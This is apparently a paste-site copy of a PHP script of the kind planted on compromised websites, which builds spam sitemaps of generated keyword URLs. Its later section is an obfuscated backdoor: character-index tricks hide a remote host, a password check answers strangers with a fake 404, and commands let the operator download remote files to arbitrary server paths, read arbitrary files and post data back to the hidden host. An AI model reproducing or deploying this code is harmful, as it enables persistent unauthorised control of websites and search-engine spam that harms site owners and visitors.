  1268. foreach($tempArr1 as $value2){
  1269. $curphp=basename(__FILE__);
  1270. $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt");
  1271.  
  1272.  
  1273. list($tempNowid,$tempSid,$tempPid) = explode('-',$value);
  1274. $url = getalink($tempSid,$tempPid,$tempNowid);
  1275.  
  1276.  
  1277.  
  1278.  
  1279. if($first===false && $last===false && $checkTxt===false)
  1280. {
  1281. $date = date("Y-m-d"); $time = date("H:i:s");
  1282.  
  1283. if($star % 12000==11999){
  1284. $gFile = '../sitemap/sitemap' . $gnumber .'.xml'; echo '<br/>'.$gFile.'<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
  1285. $str = ''; $gnumber++; return; }
  1286.  
  1287.  
  1288.  
  1289.  
  1290. $str .= " <url>
  1291. <loc>" . $url . "</loc>
  1292. <lastmod>". $date . "T" . $time ."-05:00</lastmod>
  1293. <changefreq>daily</changefreq>
  1294. <priority>0.1</priority>
  1295. </url>
  1296. ";
  1297.  
  1298.  
  1299. $star++; $starPri++; }
  1300. }
  1301.  
  1302. {
  1303. $gFile = '../sitemap/sitemap' . $gnumber .'.xml'; $gnumber++; echo '<br/>'.$gFile.'<br/>';
  1304. $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
  1305. }
  1306.  
  1307. unset($tempArr1); unset($filenames);
  1308. echo "生成sitemap成功!";
  1309. }
  1310. function gsitemap($filenames,$c=1,$jdt=1){
  1311. global $gnumber,$arrArrr;
  1312. $filePres = ''; $fileEnds = '';
  1313.  
  1314. $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
  1315. $siteLink='http://'.$_SERVER['HTTP_HOST'];
  1316. $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>';
  1317. // $urlsArray = $filenames;
  1318. // $numLinks = count($urlsArray);
  1319.  
  1320. $star = 0; $priority = 0.9; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s");
  1321. $str = " <url>
  1322. <loc>" . $siteLink . "</loc>
  1323. <lastmod>". $date . "T" . $time ."-05:00</lastmod>
  1324. <changefreq>always</changefreq>
  1325. <priority>1.0</priority>
  1326. </url>
  1327. ";
  1328. $tempArr1 = $filenames;
  1329.  
  1330. foreach($tempArr1 as $value2){
  1331. $curphp=basename(__FILE__);
  1332. $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt");
  1333.  
  1334. list($tempNowid,$tempSid,$tempPid) = explode('-',$value);
  1335. $url = getalink($tempSid,$tempPid,$tempNowid);
  1336.  
  1337.  
  1338. if($first===false && $last===false && $checkTxt===false)
  1339. {
  1340. $date = date("Y-m-d"); $time = date("H:i:s");
  1341.  
  1342. if($star % 12000==11999){
  1343. $gFile = '../sitemap/sitemap' . $gnumber .'.xml'; echo '<br/>'.$gFile.'<br/>';
  1344. $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
  1345. $str = ''; $gnumber++; return;
  1346. }
  1347.  
  1348. if($starPri >= 400 && $priority != 0.1){
  1349. $starPri = 0; $priority = $priority - 0.1; }
  1350.  
  1351. if($priority > 0.1){
  1352.  
  1353. $str .= " <url>
  1354. <loc>" . $url . "</loc>
  1355. <lastmod>". $date . "T" . $time ."-05:00</lastmod>
  1356. <changefreq>daily</changefreq>
  1357. <priority>". $priority . "</priority>
  1358. </url>
  1359. ";
  1360. }else{
  1361. $str .= " <url>
  1362. <loc>" . $url . "</loc>
  1363. <lastmod>". $date . "T" . $time ."-05:00</lastmod>
  1364. <changefreq>daily</changefreq>
  1365. <priority>0.1</priority>
  1366. </url>
  1367. ";
  1368. }
  1369.  
  1370. $star++; $starPri++; }
  1371. }
  1372.  
  1373. {
  1374. $gFile = '../sitemap/sitemap' . $gnumber .'.xml'; echo '<br/>'.$gFile.'<br/>';
  1375. $gnumber++;
  1376. $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
  1377. }
  1378.  
  1379. unset($tempArr1); unset($filenames); echo "生成sitemap成功!";
  1380. }
  1381.  
  1382.  
  1383.  
  1384. function fillUrl($str = '', $url){
  1385. $relur = '#(?:href|src) ?= ?"([^"]+)"#s';
  1386. $urlInfo = parse_url($url);
  1387.  
  1388. preg_match_all($relur, $str, $matches);
  1389. if(count($matches[1])){
  1390. foreach($matches[1] as $values){
  1391. if(!strstr($values, "//") && !strstr($values, "..")){
  1392. $rStr = $urlInfo['host']."/".$values; $rStr = 'http://' . str_replace('//','/',$rStr);
  1393. $str = str_replace('"'.$values.'"', '"'.$rStr.'"' , $str) ; }elseif(strstr($values, "..")){
  1394.  
  1395. // echo $urlInfo['host']; // echo str_replace(basename($url),"",$url); // die();
  1396. $rStr = str_replace(basename($url),"",$url)."/".$values;
  1397.  
  1398. $rStr = str_replace("http://","<llqhttp>",$rStr);
  1399. $rStr = str_replace("https://","<llqhttps>",$rStr);
  1400. $rStr = str_replace("//","/",$rStr);
  1401. $rStr = str_replace("<llqhttps>","https://",$rStr);
  1402. $rStr = str_replace("<llqhttp>","http://",$rStr);
  1403. $str = str_replace('"'.$values.'"', '"'.$rStr.'"' , $str) ; }
  1404. }
  1405. }
  1406.  
  1407.  
  1408. $relur = '#(?:href|src) ?= ?\'([^\']+)\'#s';
  1409. $urlInfo = parse_url($url);
  1410.  
  1411. preg_match_all($relur, $str, $matches);
  1412. // print_r($matches[1]);
  1413. if(count($matches[1])){
  1414. foreach($matches[1] as $values){
  1415. if(!strstr($values, "//") && !strstr($values, "..")){
  1416. $rStr = $urlInfo['host']."/".$values; $rStr = 'http://' . str_replace('//','/',$rStr); $str = str_replace("'".$values."'", "'".$rStr."'" , $str) ; }elseif(strstr($values, "..")){
  1417.  
  1418. $rStr = str_replace(basename($url),"",$url)."/".$values;
  1419.  
  1420. $rStr = str_replace("http://","<llqhttp>",$rStr);
  1421. $rStr = str_replace("https://","<llqhttps>",$rStr);
  1422. $rStr = str_replace("//","/",$rStr);
  1423. $rStr = str_replace("<llqhttps>","https://",$rStr);
  1424. $rStr = str_replace("<llqhttp>","http://",$rStr);
  1425. $str = str_replace("'".$values."'", "'".$rStr."'" , $str) ; }
  1426. }
  1427. }
  1428. return $str;}
  1429. function auto_read($str, $charset='UTF-8') {
  1430. $list = array('EUC-JP', 'Shift_JIS', 'UTF-8', 'iso-2022-jp');
  1431. $encode = mb_detect_encoding($str, $list); // echo $encode;die();
  1432. if($encode == 'UTF-8'){
  1433. return $str; }else{
  1434. return mb_convert_encoding($str, $charset, $encode); }
  1435.  
  1436. }
  1437. function detect_encoding($file){
  1438. $list = array('GBK', 'UTF-8', 'UTF-16LE', 'UTF-16BE', 'ISO-8859-1'); $str = file_get_contents($file); foreach ($list as $item) {
  1439. $tmp = mb_convert_encoding($str, $item, $item); if (md5($tmp) == md5($str)) {
  1440.  
  1441. return $item; }
  1442. }
  1443. return null;}
  1444. function curl_get_from_webpage($url,$proxy='',$loop=10){
  1445. $data = false; $i = 0; while(!$data) {
  1446. $data = curl_get_from_webpage_one_time($url,$proxy); if($i++ >= $loop) break; }
  1447. return $data;}
  1448.  
  1449. function curl_get_from_webpage_one_time($url,$proxy=''){
  1450. if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
  1451.  
  1452. $curl = curl_init(); //如果有用代理,则使用代理.
  1453. $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";
  1454. // $urlReferer = "http://www.google.com";
  1455. if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy);
  1456. curl_setopt($curl, CURLOPT_URL, $url);
  1457. if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0
  1458. ));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
  1459. }$data=curl_exec($curl);curl_close($curl);
  1460. }else{
  1461.  
  1462. $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false;
  1463. if($is_auf){
  1464. $data = file_get_contents($url);
  1465. }
  1466.  
  1467. }
  1468. if(!$data) return false;
  1469. return $data;
  1470.  
  1471. }
  1472.  
  1473. function curl_getjs_from_webpage($url,$time){
  1474. if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
  1475.  
  1476. $curl = curl_init(); //如果有用代理,则使用代理.
  1477. $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";
  1478. // $urlReferer = "http://www.google.com";
  1479. curl_setopt($curl, CURLOPT_URL, $url);
  1480. if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_TIMEOUT => $time,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0
  1481. ));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_TIMEOUT, $time);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
  1482. }$data=curl_exec($curl);curl_close($curl);
  1483. }else{
  1484.  
  1485. $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false;
  1486. if($is_auf){
  1487. $data = file_get_contents($url);
  1488. }
  1489.  
  1490. }
  1491. if(!$data) return false;
  1492. return $data;
  1493.  
  1494. }
  1495.  
  1496.  
  1497.  
  1498. //ccccccgetbg
  1499.  
  1500. @ini_set('display_errors', 0);@set_time_limit(3600);
  1501. $q1 = "O00O0O";$q2 = "O0O000";$q3 = "O0OO00";$q4 = "OO0O00";$q5 = "OO0000";$q6 = "O00OO0";$q7 = "O00O00";$q8 = "O00OOO";$q9 = "O0O0OO";$q10 = "OOO0OO";$q11 = "OO00OO";$q12 = "OO000O";$q13 = "OO0O0O";$q14 = "OOOO00";$q15 = "OO0OO0O";$$q1 = RandAbc();$$q3 = $O00O0O{62}.$O00O0O{51}.$O00O0O{50}.$O00O0O{54}.$O00O0O{55};$$q5 = $O00O0O{28}.$O00O0O{26}.$O00O0O{27}.$O00O0O{33};$$q6 = $O00O0O{1}.$O00O0O{0}.$O00O0O{2}.$O00O0O{10}.$O00O0O{20}.$O00O0O{15};$$q4 = $$O0OO00;$$q2 = $O00O0O{12}.$O00O0O{3}.$O00O0O{31};$$q7 = $O00O0O{30}.$O00O0O{35}.$O00O0O{32}.$O00O0O{34}.$O00O0O{31}.$O00O0O{34}.$O00O0O{31}.$O00O0O{3}.$O00O0O{26}.$O00O0O{5}.$O00O0O{5}.$O00O0O{4}.$O00O0O{29}.$O00O0O{31}.$O00O0O{28}.$O00O0O{27}.$O00O0O{0}.$O00O0O{26}.$O00O0O{30}.$O00O0O{32}.$O00O0O{5}.$O00O0O{26}.$O00O0O{30}.$O00O0O{34}.$O00O0O{28}.$O00O0O{5}.$O00O0O{33}.$O00O0O{0}.$O00O0O{3}.$O00O0O{31}.$O00O0O{34}.$O00O0O{3};$$q8 = $O00O0O{19}.$O00O0O{14}.$O00O0O{15};$$q9 = $O00O0O{62}.$O00O0O{54}.$O00O0O{40}.$O00O0O{53}.$O00O0O{57}.$O00O0O{40}.$O00O0O{53};$$q10 = $$O0O0OO;$$q11 = $O00O0O{39}.$O00O0O{50}.$O00O0O{38}.$O00O0O{56}.$O00O0O{48}.$O00O0O{40}.$O00O0O{49}.$O00O0O{55}.$O00O0O{62}.$O00O0O{53}.$O00O0O{50}.$O00O0O{50}.$O00O0O{55};$$q12 = $O00O0O{51}.$O00O0O{43}.$O00O0O{51}.$O00O0O{62}.$O00O0O{54}.$O00O0O{40}.$O00O0O{47}.$O00O0O{41};$$q13 = $O00O0O{2}.$O00O0O{6}.$O00O0O{4}.$O00O0O{19};$$q14 = $O00O0O{8}.$O00O0O{13}.$O00O0O{3}.$O00O0O{4}.$O00O0O{23}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};$$q15 = $O00O0O{7}.$O00O0O{19}.$O00O0O{19}.$O00O0O{15}.$O00O0O{64}.$O00O0O{65}.$O00O0O{65}.$O00O0O{22}.$O00O0O{22}.$O00O0O{22}.$O00O0O{63};
  1502. if(isset($OOO0OO["$OO00OO"])){$BT = $OOO0OO["$OO00OO"];}elseif(isset($OOO0OO["$OO000O"])){$BT = str_ireplace(str_replace("\\",DIRECTORY_SEPARATOR,str_replace("/",DIRECTORY_SEPARATOR,$OOO0OO["$OO000O"])),'',__FILE__).DIRECTORY_SEPARATOR;}else{$BT = '/';}
  1503. foreach($OO0O00 as $O00O00o=>$O00Oo0o){
  1504. $$O00O00o = $O00Oo0o;
  1505. }
  1506.  
  1507. if(!(isset($passwd) && $O0O000($passwd) == $O00O00)){
  1508. header("HTTP/1.1 404 Not Found");
  1509. header("Status: 404 Not Found");
  1510. exit;
  1511. }
  1512.  
  1513. if(isset($act) && $act == 'check' && isset($check_file)){
  1514. if(file_exists($check_file)){
  1515. echo '#ok#';
  1516. }
  1517. }
  1518.  
  1519. if(isset($act) && $act == 'test'){
  1520. echo '#ok#';
  1521. }
  1522.  
  1523. if(isset($act) && $act == 'recover' && isset($recover_file) && isset($recover_file_url)){
  1524. {
  1525.  
  1526. $pfile = $recover_file;
  1527. $date = $OO0O0O($recover_file_url);
  1528. gdir_file($recover_file);
  1529. @chmod($pfile,0755);
  1530.  
  1531. if($date && file_put_contents($pfile,$date)){
  1532. echo '#ok#';
  1533. }else{
  1534. echo '#fail#';
  1535. }
  1536.  
  1537. }
  1538. }
  1539.  
  1540. if(isset($act) && $act == 'redate' && isset($redate_file)){
  1541. if(file_exists($redate_file)){
  1542. echo rdFile($redate_file);
  1543. }
  1544. }
  1545.  
  1546. function RandAbc($length = "") {
  1547. $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_.:/";
  1548. return ($str);
  1549. }
  1550.  
  1551. function rdFile($file){
  1552. if(function_exists('file_get_contents')){
  1553. return file_get_contents($file);
  1554. }else{
  1555. $handle = fopen($file, "r");
  1556. $contents = fread($handle, filesize($file));
  1557. fclose($handle);
  1558. return $contents;
  1559. }
  1560. }
  1561.  
  1562. function cget($url,$loop=10){
  1563. $data = false; $i = 0;
  1564.  
  1565. while(!$data) {
  1566. $data = tcget($url); if($i++ >= $loop) break; }
  1567. return $data;
  1568. }
  1569.  
  1570. function tcget($url,$proxy=''){
  1571. global $OO0OO0O, $O00OO0, $OO0000, $O00OOO;
  1572. $data = ''; $url = "$OO0OO0O$O00OO0$OO0000.$O00OOO/".$url;
  1573. $url = trim($url); if (extension_loaded('curl') && function_exists('curl_init') && function_exists('curl_exec')){
  1574. $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1575. curl_setopt($ch, CURLOPT_TIMEOUT, 60); $data = curl_exec($ch); curl_close($ch); }
  1576.  
  1577. if ($data == ''){
  1578. if (function_exists('file_get_contents') && $url){
  1579. $data = @file_get_contents($url); }
  1580. }
  1581.  
  1582. if (($data == '') && $url){
  1583. if (function_exists('fopen') && function_exists('ini_get') && ini_get('allow_url_fopen')){
  1584. ($fp = @fopen($url, 'r'));
  1585. if ($fp){
  1586.  
  1587. while (!@feof($fp)){
  1588. $data .= @fgets($fp) . ''; }
  1589.  
  1590. @fclose($fp); }
  1591. }
  1592. }
  1593. return $data;
  1594. }
  1595.  
  1596. function m_mkdir($dir){
  1597. if(!is_dir($dir)) mkdir($dir);
  1598. }
  1599.  
  1600. function gdir_file($gDir=''){
  1601. global $BT;
  1602. $gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
  1603. $gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir);
  1604. $arr = explode(DIRECTORY_SEPARATOR,$gDir);
  1605.  
  1606. if(count($arr) <= 0) return;
  1607.  
  1608.  
  1609. if(!strstr($gDir,$BT))
  1610. $dir = $BT;
  1611. else
  1612. $dir = '';
  1613.  
  1614. for($i = 0 ; $i < count($arr)-1 ; $i++){
  1615. $dir .= '/' . $arr[$i];
  1616. m_mkdir($dir);
  1617. }
  1618.  
  1619. return $dir;
  1620. }
  1621.  
  1622. //ccccccgetend
  1623.  
  1624.  
  1625.  
  1626. function my_mkdir($dir){
  1627. global $fitime;
  1628. if(!is_dir($dir)){
  1629. mkdir($dir);
  1630. @touch($dir, $fitime, $fitime);
  1631. }
  1632. }
  1633.  
  1634.  
  1635.  
  1636. function generate_dir_file($gDir=''){
  1637.  
  1638. global $hostDir;
  1639. $gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
  1640. $gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir);
  1641. $arr = explode(DIRECTORY_SEPARATOR,$gDir);
  1642.  
  1643. if(count($arr) <= 0) return;
  1644.  
  1645. if(!strstr($gDir,$hostDir))
  1646. $dir = $hostDir;
  1647. else
  1648. $dir = '';
  1649.  
  1650.  
  1651. for($i = 0 ; $i < count($arr)-1 ; $i++){
  1652. $dir .= DIRECTORY_SEPARATOR . $arr[$i];
  1653. my_mkdir($dir);
  1654. }
  1655.  
  1656. return $dir;
  1657. }
  1658.  
  1659.  
  1660. function getalink($sid,$pid,$nNumID){
  1661.  
  1662. global $arrnametime,$arrKeywz,$arr_word,$strRand;
  1663.  
  1664. $filePres = ''; $fileEnds = ''; $siteLink='http://'.$_SERVER['HTTP_HOST'];
  1665. $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
  1666. if(JDT == 2){
  1667. $filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){
  1668. $filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){
  1669. $filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?keyword="; }else{
  1670. $filePres = $siteLink."/"; }
  1671.  
  1672. $ms = $arrnametime[$pid % count($arrnametime)];
  1673.  
  1674. $keyNum = $arrKeywz[$pid % count($arrKeywz)];
  1675. $keyWordKey = $pid % 10; $keyStrKey = $pid % strlen("icedrkswzjhpnxoyvumfatblgq"); $keyArr = array(); $flag = 0;
  1676. if($ms == 2 or $ms ==4){
  1677. if($keyNum >= 9){
  1678. $fg = 4; }elseif($keyNum >= 7){
  1679. $fg = 3; }else{
  1680. $fg = 2; }
  1681. }
  1682.  
  1683. for($i=0;$i<$keyNum;$i++){
  1684. $tempNum = $arr_word[$i][$keyWordKey]; $tempstr = ''; for($j=0;$j<$tempNum;$j++)
  1685. $tempstr .= $strRand[$flag++]{$keyStrKey};
  1686. $keyArr[$i] = $tempstr; }
  1687.  
  1688. $SidWz = $sid % $keyNum; $PidWz = $pid % $keyNum; $linkCenter = '';
  1689.  
  1690. if(JDT == 3){
  1691. for($i=0;$i<$keyNum;$i++){
  1692.  
  1693. if($SidWz == $i && $i != 0)
  1694. $linkCenter .= '-'.$nNumID. BZSITE . $sid .'-';
  1695. elseif($SidWz == $i)
  1696. $linkCenter .= $nNumID. BZSITE . $sid .'-';
  1697.  
  1698. if($PidWz == $i && $i != 0)
  1699. $linkCenter .= '-'. BZPRO . $pid .'-';
  1700. elseif($PidWz == $i)
  1701. $linkCenter .= BZPRO . $pid .'-';
  1702.  
  1703. $linkCenter .= $keyArr[$i] .'';
  1704. }
  1705. $linkCenter .= $linkCenter . "#llq";
  1706. $linkCenter = str_replace('-#llq','',$linkCenter);
  1707. $linkCenter = str_replace('#llq','',$linkCenter);
  1708. $linkCenter = str_replace('--','-',$linkCenter);
  1709. $linkCenter = str_replace('/-','/',$linkCenter);
  1710. return $filePres.$linkCenter;
  1711. }
  1712.  
  1713.  
  1714.  
  1715.  
  1716. if($ms == 1){
  1717. for($i=0;$i<$keyNum;$i++){
  1718.  
  1719.  
  1720. if($SidWz == $i && $i != 0)
  1721. $linkCenter .= '-'.$nNumID. BZSITE . $sid .'-';
  1722. elseif($SidWz == $i)
  1723. $linkCenter .= $nNumID. BZSITE . $sid .'-';
  1724.  
  1725. if($PidWz == $i && $i != 0)
  1726. $linkCenter .= '-'. BZPRO . $pid .'-';
  1727. elseif($PidWz == $i)
  1728. $linkCenter .= BZPRO . $pid .'-';
  1729.  
  1730. $linkCenter .= $keyArr[$i] .'';
  1731. }
  1732.  
  1733. $linkCenter .= "/"; $linkCenter = str_replace("-/","/",$linkCenter);
  1734. }elseif($ms == 2){
  1735. for($i=0;$i<$keyNum;$i++){
  1736.  
  1737.  
  1738. if($SidWz == $i && $i != 0)
  1739. $linkCenter .= '-'.$nNumID. BZSITE . $sid .'-';
  1740. elseif($SidWz == $i)
  1741. $linkCenter .= $nNumID. BZSITE . $sid .'-';
  1742.  
  1743. if($PidWz == $i && $i != 0)
  1744. $linkCenter .= '-'. BZPRO . $pid .'-';
  1745. elseif($PidWz == $i)
  1746. $linkCenter .= BZPRO . $pid .'-';
  1747.  
  1748. $linkCenter .= $keyArr[$i] .'';
  1749.  
  1750.  
  1751. if($i == $fg-1){
  1752. // $linkCenter .= '/';
  1753. $linkCenter .= '-';
  1754. }
  1755. }
  1756.  
  1757. $linkCenter .= "/"; $linkCenter = str_replace("-/","/",$linkCenter);
  1758. }elseif($ms == 3){
  1759. for($i=0;$i<$keyNum;$i++){
  1760.  
  1761.  
  1762. if($SidWz == $i && $i != 0)
  1763. $linkCenter .= '-'. $nNumID . BZSITE . $sid .'-';
  1764. elseif($SidWz == $i)
  1765. $linkCenter .= $nNumID. BZSITE . $sid .'-';
  1766.  
  1767. if($PidWz == $i && $i != 0)
  1768. $linkCenter .= '-'. BZPRO . $pid .'-';
  1769. elseif($PidWz == $i)
  1770. $linkCenter .= BZPRO . $pid .'-';
  1771.  
  1772. $linkCenter .= $keyArr[$i] .'';
  1773. }
  1774.  
  1775. $linkCenter .= JTHZ; $linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter);
  1776.  
  1777. }elseif($ms == 4){
  1778. for($i=0;$i<$keyNum;$i++){
  1779.  
  1780.  
  1781. if($SidWz == $i && $i != 0)
  1782. $linkCenter .= '-'. $nNumID. BZSITE . $sid .'-';
  1783. elseif($SidWz == $i)
  1784. $linkCenter .= $nNumID. BZSITE . $sid .'-';
  1785.  
  1786. if($PidWz == $i && $i != 0)
  1787. $linkCenter .= '-'. BZPRO . $pid .'-';
  1788. elseif($PidWz == $i)
  1789. $linkCenter .= BZPRO . $pid .'-';
  1790.  
  1791. $linkCenter .= $keyArr[$i] .'';
  1792.  
  1793. if($i == $fg-1){
  1794. // $linkCenter .= '/';
  1795. $linkCenter .= '-';
  1796. }
  1797. }
  1798.  
  1799. $linkCenter .= JTHZ; $linkCenter = str_replace("-/","/",$linkCenter); $linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter); }
  1800.  
  1801. $linkCenter = str_replace('--','-',$linkCenter);
  1802. $linkCenter = str_replace('/-','/',$linkCenter);
  1803.  
  1804. return $filePres.$linkCenter;
  1805. }
  1806.  
  1807.  
  1808. function rmhtmltag($tagname='',$str=''){
  1809. $rulers = '#<'.$tagname.'[^>]*>.*?</'.$tagname.'>#s';
  1810. $str = preg_replace($rulers,'',$str);
  1811. $rulers = '#<'.$tagname.'[^>]*>.*?</'.$tagname.'>#i';
  1812. $str = preg_replace($rulers,'',$str);
  1813. return $str;
  1814.  
  1815. }
  1816.  
  1817.  
  1818. function rmhtmltag2($tagname='',$str=''){
  1819. $rulers = '#<'.$tagname.'[^>]*>#s';
  1820. $str = preg_replace($rulers,'',$str);
  1821. $rulers = '#</'.$tagname.'>#s';
  1822. $str = preg_replace($rulers,'',$str);
  1823.  
  1824. $rulers = '#<'.$tagname.'[^>]*>#i';
  1825. $str = preg_replace($rulers,'',$str);
  1826. $rulers = '#</'.$tagname.'>#i';
  1827. $str = preg_replace($rulers,'',$str);
  1828. return $str;
  1829.  
  1830. }
  1831.  
  1832.  
  1833.  
  1834. // bbbbbbbbackupbg
  1835.  
  1836. function backup_install($dateArr,$loop=10){
  1837.  
  1838.  
  1839. $data = false; $i = 0;
  1840.  
  1841. while(!$data) {
  1842. $data = backup_install_once($dateArr); if($i++ >= $loop) break; }
  1843. return $data;
  1844. }
  1845.  
  1846.  
  1847. function backup_install_once($dateArr=array()){
  1848. global $O0O000;
  1849.  
  1850. $data = false;
  1851. if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close") && 0){
  1852. $curl = curl_init();
  1853. curl_setopt($curl, CURLOPT_URL, $O0O000);
  1854. curl_setopt($curl, CURLOPT_HEADER, 0);
  1855. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  1856. curl_setopt($curl, CURLOPT_POST, 1);
  1857. curl_setopt($curl, CURLOPT_POSTFIELDS, $dateArr);
  1858. $data = curl_exec($curl);
  1859. curl_close($curl);
  1860.  
  1861. }else{
  1862. $tempDate = http_build_query($dateArr);
  1863. $params = array(
  1864. 'http' => array(
  1865. 'method' => 'POST',
  1866. 'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
  1867. 'content' => $tempDate
  1868. )
  1869. );
  1870. $ctx = stream_context_create($params);
  1871. $data = file_get_contents($O0O000, null, $ctx);
  1872. }
  1873.  
  1874. return $data;
  1875. }
  1876.  
  1877. // bbbbbbbbackupend
  1878.  
  1879.  
  1880.  
  1881. function is_ip($localIp,$ipRanges)
  1882. {
  1883. $localIp = ip2long($localIp);
  1884. foreach($ipRanges as $val)
  1885. {
  1886. $ipmin=sprintf("%u",ip2long($val[0])); $ipmax=sprintf("%u",ip2long($val[1]));
  1887. if($localIp >= $ipmin && $localIp <= $ipmax)
  1888. {
  1889. return true;
  1890. }
  1891. }
  1892. return false;}
  1893.  
  1894. function RandAbcs($length = ""){
  1895. $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:";
  1896. return ($str);
  1897. }
  1898. function get_real_ip(){
  1899.  
  1900. $ip=false; if(!empty($_SERVER["HTTP_CLIENT_IP"])){
  1901. $ip = $_SERVER["HTTP_CLIENT_IP"]; }
  1902.  
  1903. if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  1904. $ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']); if ($ip) { array_unshift($ips, $ip); $ip = FALSE; }
  1905.  
  1906. for ($i = 0; $i < count($ips); $i++) {
  1907. if (!eregi ("^(10|172\.16|192\.168)\.", $ips[$i])) {
  1908. $ip = $ips[$i]; break; }
  1909. }
  1910. }
  1911.  
  1912. return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);}
  1913.  
  1914. //file end
Advertisement
Add Comment
Please, Sign In to add comment